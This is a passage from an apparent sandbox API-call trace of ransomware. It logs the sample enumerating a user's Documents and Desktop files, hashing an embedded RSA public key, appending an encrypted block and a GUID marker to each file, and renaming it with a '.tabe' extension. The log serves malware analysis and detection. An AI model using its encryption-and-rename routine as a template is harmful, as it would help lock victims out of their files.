KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.222] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.222] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.223] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.223] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.223] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.223] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.223] GetLastError () returned 0x0 [0126.223] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.223] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.223] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.223] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.223] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.223] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.224] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x3e11, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.224] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.224] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.224] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.224] CloseHandle (hObject=0x618) returned 1 [0126.225] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zmKlsT4Rdm2.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zmklst4rdm2.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zmKlsT4Rdm2.mp4.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zmklst4rdm2.mp4.tabe")) returned 1 [0126.226] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccb63260, ftCreationTime.dwHighDateTime=0x1d5e6d6, ftLastAccessTime.dwLowDateTime=0xa3fefea0, ftLastAccessTime.dwHighDateTime=0x1d5e821, ftLastWriteTime.dwLowDateTime=0xa3fefea0, ftLastWriteTime.dwHighDateTime=0x1d5e821, nFileSizeHigh=0x0, nFileSizeLow=0x3e11, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="zmKlsT4Rdm2.mp4", cAlternateFileName="ZMKLST~1.MP4")) returned 0 [0126.226] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0126.226] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0126.226] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0126.226] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0126.226] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.226] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.226] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.226] PathFindFileNameW (pszPath="") returned="" [0126.226] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8e6bb40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd8e6bb40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0126.226] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8e6bb40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd8e6bb40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0126.226] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80855760, ftCreationTime.dwHighDateTime=0x1d5dad1, ftLastAccessTime.dwLowDateTime=0x619fb520, ftLastAccessTime.dwHighDateTime=0x1d5e454, ftLastWriteTime.dwLowDateTime=0x619fb520, ftLastWriteTime.dwHighDateTime=0x1d5e454, nFileSizeHigh=0x0, nFileSizeLow=0x8738, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="14trhq_d.pptx", cAlternateFileName="14TRHQ~1.PPT")) returned 1 [0126.227] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\14trhq_d.pptx") returned=".pptx" [0126.227] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\14trhq_d.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\14trhq_d.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.227] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=34616) returned 1 [0126.227] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.228] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x8712, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.228] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.229] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x8738, lpOverlapped=0x0) returned 1 [0126.230] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.230] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.230] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.230] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.231] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.231] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.231] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.231] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.231] GetLastError () returned 0x0 [0126.231] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.231] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.231] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.231] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.231] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.231] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.231] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x8738, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.231] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.232] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.232] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.232] CloseHandle (hObject=0x618) returned 1 [0126.232] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\14trhq_d.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\14trhq_d.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\14trhq_d.pptx.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\14trhq_d.pptx.tabe")) returned 1 [0126.234] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e6ea340, ftCreationTime.dwHighDateTime=0x1d5d7da, ftLastAccessTime.dwLowDateTime=0x76e1af90, ftLastAccessTime.dwHighDateTime=0x1d5e082, ftLastWriteTime.dwLowDateTime=0x76e1af90, ftLastWriteTime.dwHighDateTime=0x1d5e082, nFileSizeHigh=0x0, nFileSizeLow=0xa073, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="9zMNq42s2vzr.pdf", cAlternateFileName="9ZMNQ4~1.PDF")) returned 1 [0126.234] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9zMNq42s2vzr.pdf") returned=".pdf" [0126.234] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9zMNq42s2vzr.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\9zmnq42s2vzr.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.235] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=41075) returned 1 [0126.235] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.236] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xa04d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.236] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.237] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xa073, lpOverlapped=0x0) returned 1 [0126.238] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.238] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.238] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.238] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.239] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.239] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.239] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.239] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.239] GetLastError () returned 0x0 [0126.239] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.239] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.239] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.239] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.239] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.239] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.239] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xa073, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.239] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.240] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.240] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.240] CloseHandle (hObject=0x618) returned 1 [0126.240] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9zMNq42s2vzr.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\9zmnq42s2vzr.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9zMNq42s2vzr.pdf.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\9zmnq42s2vzr.pdf.tabe")) returned 1 [0126.242] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b49eb0, ftCreationTime.dwHighDateTime=0x1d55eb8, ftLastAccessTime.dwLowDateTime=0x21457790, ftLastAccessTime.dwHighDateTime=0x1d5d39b, ftLastWriteTime.dwLowDateTime=0x21457790, ftLastWriteTime.dwHighDateTime=0x1d5d39b, nFileSizeHigh=0x0, nFileSizeLow=0x9a04, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="aCSBQG.docx", cAlternateFileName="ACSBQG~1.DOC")) returned 1 [0126.242] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\aCSBQG.docx") returned=".docx" [0126.242] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\aCSBQG.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\acsbqg.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.242] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=39428) returned 1 [0126.242] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.243] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x99de, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.243] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.244] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x9a04, lpOverlapped=0x0) returned 1 [0126.245] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.245] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.245] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.245] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.246] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.246] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, 